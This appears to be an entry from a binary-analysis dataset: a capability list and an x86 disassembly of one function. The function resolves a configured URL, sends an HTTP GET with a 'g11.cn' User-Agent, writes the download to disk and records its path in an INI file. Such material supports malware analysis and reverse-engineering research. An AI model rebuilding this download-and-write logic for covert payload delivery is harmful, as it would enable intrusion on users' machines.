Function at 0x10003920
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create raw socket
Create tcp socket
Create udp socket
Download and write a file
Initialize winsock library
Receive and write data from server to client
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header
Write file on windows

Disassembly:
mov eax, 0x1444
call fcn.10005c30
push ebx
push ebp
push esi
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x4c5]
mov byte [esp + 0x4c4], 0
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x1458]
push 0x1ff
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x4c8]
lea ebx, [esi + 0x30f]
push eax
push str.spi_ver
push str.spi_url
lea ecx, [esi + 0x105]
push ebx
push ecx
mov dword [esp + 0x30], ebx
call fcn.10004e10
add esp, 0x18
test al, al
je 0x10003e8b
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, ebx
cmp byte [ecx + esi + 0x30a], 0x32
setne dl
or ecx, 0xffffffff
xor eax, eax
add edx, 0x31
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ecx + esi + 0x30a], dl
call fcn.10001d20
add esp, 4
test eax, eax
je 0x100039ea
push 2
call fcn.10001d20
add esp, 4
test eax, eax
je 0x100039ea
push 3
call fcn.10001d20
add esp, 4
test eax, eax
je 0x100039ea
push 1
call fcn.10001d20
add esp, 4
lea eax, [esp + 0xac4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x45]
mov byte [esp + 0x44], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [esp + 0x4c4]
lea ecx, [esp + 0x44]
cmp al, 0x2f
lea ebp, [esp + 0x4c5]
je 0x10003a31
mov dl, byte [ebp]
inc ebp
cmp dl, 0x2f
jne 0x10003a28
cmp byte [ebp], 0x2f
jne 0x10003aff
mov al, byte [ebp + 1]
inc ebp
cmp al, 0x2f
je 0x10003a4e
mov byte [ecx], al
mov al, byte [ebp + 1]
inc ecx
inc ebp
cmp al, 0x2f
jne 0x10003a43
xor eax, eax
lea ecx, [esp + 0x44]
mov dword [esp + 0x1d], eax
push ecx
mov dword [esp + 0x25], eax
mov byte [esp + 0x20], 0
mov dword [esp + 0x29], eax
mov dword [esp + 0x2d], eax
mov word [esp + 0x31], ax
mov byte [esp + 0x33], al
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10003af9
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 1
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 2
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.WS2_32.dll_socket]
push 0x50
mov ebx, eax
mov word [esp + 0x34], 2
call dword [sym.imp.WS2_32.dll_htons]
lea ecx, [esp + 0x1c]
mov word [esp + 0x32], ax
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
lea edx, [esp + 0x30]
push 0x10
push edx
push ebx
mov dword [esp + 0x40], eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10003b0d
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1444
ret
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0xc5]
mov byte [esp + 0xc4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
or ecx, 0xffffffff
mov edi, str.GET
xor eax, eax
lea edx, [esp + 0xc4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [esp + 0xc4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, ebp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0xc4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str._HTTP_1.1_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0xc4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Accept:___r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0xc4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.Host:
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0xc4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
lea edi, [esp + 0x44]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0xc4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x1000f0c8
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0xc4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.User_Agent:_g11.cn_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0xc4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Connection:Keep_Alive_r_n_r_n
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
push eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xc8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0xc8]
push ecx
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x6c5]
mov byte [esp + 0x6c4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [esp + 0x13], 0
xor esi, esi
cmp esi, 0x400
jge 0x10003d60
push 0
lea ecx, [esp + 0x17]
push 1
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_recv]
mov dl, byte [esp + 0x13]
mov byte [esp + esi + 0x6c4], dl
inc esi
cmp esi, 4
jl 0x10003d0f
cmp byte [esp + esi + 0x6c0], 0xd
jne 0x10003d0f
cmp byte [esp + esi + 0x6c1], 0xa
jne 0x10003d0f
cmp byte [esp + esi + 0x6c2], 0xd
jne 0x10003d0f
cmp byte [esp + esi + 0x6c3], 0xa
jne 0x10003d0f
push 0x1000f0c8
lea eax, [esp + 0x6c8]
push str.Content_Length
push eax
call fcn.10005bb0
add esp, 8
add eax, 0xf
push eax
call fcn.10005bb0
lea ecx, [esp + 0x6cc]
push str.Content_Length
push ecx
mov word [eax], 0
xor esi, esi
call fcn.10005bb0
add eax, 0xf
push eax
call fcn.10005b0e
mov edx, dword [esp + 0x2c]
add esp, 0x14
mov ebp, eax
push esi
push 0x20
push 2
push esi
push 1
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [esp + 0x14], eax
mov ecx, 0x1ff
xor eax, eax
lea edi, [esp + 0xc55]
mov byte [esp + 0xc54], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
test ebp, ebp
stosb byte es:[edi], al
jle 0x10003e31
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [esp + 0xc58]
push 0x400
push eax
push ebx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x10003e31
cmp eax, 0xffffffff
je 0x10003e31
lea edx, [esp + 0x40]
lea ecx, [esp + eax + 0xc54]
push 0
push edx
add esi, eax
push eax
mov byte [ecx], 0
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0xc60]
push eax
push ecx
call edi
cmp esi, ebp
jl 0x10003deb
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x1458]
mov esi, dword [esp + 0x18]
add eax, 0x20a
push eax
push esi
push str.spi_path
push 0x1000f288
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
test eax, eax
jne 0x10003e7d
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1444
ret
call fcn.100023a0
push esi
call fcn.10002360
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1444
ret